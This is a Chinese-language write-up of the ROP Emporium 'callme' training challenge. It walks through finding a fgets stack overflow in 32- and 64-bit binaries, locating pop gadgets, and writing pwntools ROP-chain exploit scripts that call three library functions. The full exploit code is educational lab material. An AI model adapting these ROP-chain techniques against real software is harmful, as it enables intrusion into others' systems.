ropemporium上的链接
https://ropemporium.com/
32位
日常checksec,开了NX,然后试运行,让我们输入

把文件放入ida,点进去pwnme(),发现漏洞点为fgets函数,栈溢出

点击usefulFunction查看

它调用了三个callme的函数,ida中找它们在plt的地址如下,其实也可以不用找,直接泄露就好



点击左边函数一栏的callme_one函数,F5不行,但我们把libcallme32.so也放进ida,这一次就能点开callme_three和two和one



从这里可以看出3个函数的参数都应该是1,2,3,那么之前看到的参数4,5,6就应该是错的,要换掉。
为了堆栈平衡,我们还要找到一个pop3次的gadget,
ROPgadget --binary callme32 --only "pop|ret"

也可以用这个objdump来查找
objdump -d callme32 | grep -A 3 pop

动手写脚本
#coding=utf8
from pwn import *
context.log_level = 'debug'
elf = ELF('./callme32')
p = process('./callme32')
one_plt = elf.plt['callme_one']
two_plt = elf.plt['callme_two']
three_plt = elf.plt['callme_three']
pop_ret = 0x080488a9
payload = ''
payload += 0x28*'A'
payload += p32(0)
payload += p32(one_plt)
payload += p32(pop_ret)
payload += p32(1)+p32(2)+p32(3)
payload += p32(two_plt)
payload += p32(pop_ret)
payload += p32(1)+p32(2)+p32(3)
payload += p32(three_plt)
payload += p32(pop_ret)
payload += p32(1)+p32(2)+p32(3)
p.sendline(payload)
p.interactive()

64位
道理同,但是64位不需要堆栈平衡,前6个参数通过rdi,rsi,rdx,rcx,r8,r9传递。
找gadget
ROPgadget --binary callme --only "pop|ret"

也可以用这个objdump来查找
objdump -d callme | grep -A 3 pop

写脚本
#coding=utf8
from pwn import *
context.log_level = 'debug'
elf = ELF('./callme')
p = process('./callme')
one_plt = elf.plt['callme_one']
two_plt = elf.plt['callme_two']
three_plt = elf.plt['callme_three']
pop_ret = 0x0401ab0
payload = ''
payload += 0x20*'A'
payload += p64(0)
payload += p64(pop_ret)
payload += p64(1)+p64(2)+p64(3)
payload += p64(one_plt)
payload += p64(pop_ret)
payload += p64(1)+p64(2)+p64(3)
payload += p64(two_plt)
payload += p64(pop_ret)
payload += p64(1)+p64(2)+p64(3)
payload += p64(three_plt)
p.sendline(payload)
p.interactive()

以上两个的flag为ROPE{a_placeholder_32byte_flag!}
网友评论